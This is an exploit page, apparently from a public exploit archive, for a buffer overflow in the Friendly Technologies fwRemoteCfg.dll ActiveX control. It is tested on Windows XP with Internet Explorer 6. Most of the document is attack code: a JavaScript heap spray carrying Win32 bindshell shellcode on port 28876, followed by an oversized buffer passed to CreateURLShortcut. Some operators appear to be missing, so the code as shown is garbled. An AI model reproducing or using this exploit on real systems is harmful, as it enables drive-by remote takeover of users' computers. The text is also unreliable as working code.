Friendly Technologies (fwRemoteCfg.dll) ActiveX Remote BOF Exploit

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"Friendly Technologies" provide software like L2TP and PPPoE clients to ISPs,

who give the software to their customers on CD so they have less trouble setting up thire connections.

They also provide remote configuration solutions .. not the best idea if you ask me.

An overflow exists in fwRemoteCfg.dll provided with the dialer,

an example of the dialer can be found here:

==========================================================

|| Greetz to the binaryvision crew ||

|| Come visit @ http://www.binaryvision.org.il ||

|| or IRC at irc.nix.co.il / #binaryvision ||

==========================================================

* Tested on WinXP SP2 using IE6.

** For Education ONLY!

*** Written by spdr. (spdr01 [at] gmail.com)

-->

<html>

<title>Friendly Technologies - wayyy too friendly...</title>

function exploit() {

var Evil = ""; // Our Evil Buffer

var DamnIE = "x0Cx0Cx0Cx0C"; // Damn IE changes address when not in the 0x00 - 0x7F range :(

// Need to use heap spray rather than overwrite EIP ...

// Skyland win32 bindshell (28876/tcp) shellcode

var ShellCode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");

var payLoadSize = ShellCode.length * 2; // Size of the shellcode

var SprayToAddress = 0x0C0C0C0C; // Spray up to there, could make it shorter.

var spraySlide = unescape("%u9090%u9090"); // Nop slide

var heapHdrSize = 0x38; // size of heap header blocks in MSIE, hopefully.

var BlockSize = 0x100000; // Size of each block

var SlideSize = BlockSize - (payLoadSize heapHdrSize); // Size of the Nop slide

var heapBlocks = (SprayToAddress - 0x100000) / BlockSize; // Number of blocks

spraySlide = MakeNopSlide(spraySlide, SlideSize); // Create our slide

// [heap header][nopslide][shellcode]

memory = new Array();

for (k = 0; k < heapBlocks; k )

memory[k] = spraySlide ShellCode;

// Create Evil Buffer

while(Evil.length < 800)

Evil = "A";

Evil = DamnIE;

// Pwn

sucker.CreateURLShortcut("con", "con", Evil, 1); // Using 'con' as filename, we dont really want to make a file.

}

function MakeNopSlide(spraySlide, SlideSize){

while(spraySlide.length * 2 < SlideSize)

spraySlide = spraySlide;

spraySlide = spraySlide.substring(0, SlideSize / 2);

return spraySlide;

}

</script>

</html>